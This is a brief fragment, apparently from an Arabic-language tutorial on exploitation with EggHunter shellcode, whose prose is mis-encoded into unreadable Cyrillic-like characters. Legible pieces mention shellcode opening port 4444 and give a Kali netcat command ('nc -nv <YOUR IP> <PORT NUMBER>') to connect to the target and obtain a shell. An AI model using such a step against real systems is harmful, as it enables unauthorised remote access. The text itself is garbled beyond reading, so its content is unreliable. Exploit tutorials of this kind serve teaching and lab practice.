 дϝϠ ϱЎмϦ ϣЧϠϝЂЮϜ ϢϼмЊЮϜEggHunter shellcode  ЬвК ЬϝвЪϦЂϜ ϝжжϝЪвϗϠ дъϜ ,ϭвϝжϼϠЮϜ ϢϼЪϜϺ сТ йтЯК ϼмϪЛЮϜ аϦ ϸЦ

shellcode   аЦϼ ϺУжв ϱϦУЮ4444. 

:сЮϝϦЮϜ ϼвцϜ ϣϠϝϦЪ ФϼА дК ЬІЮϜ пЯК ЬмЊϲЯЮ ϾϝлϮЮϜ пЯК ЬϝЊϦъϜм ϤϼмϠЮϜ ϱϦТ ϝжжЪвт дъϜ 

 

       root@kali: nc -nv <YOUR IP> <PORT NUMBER> 

 

  






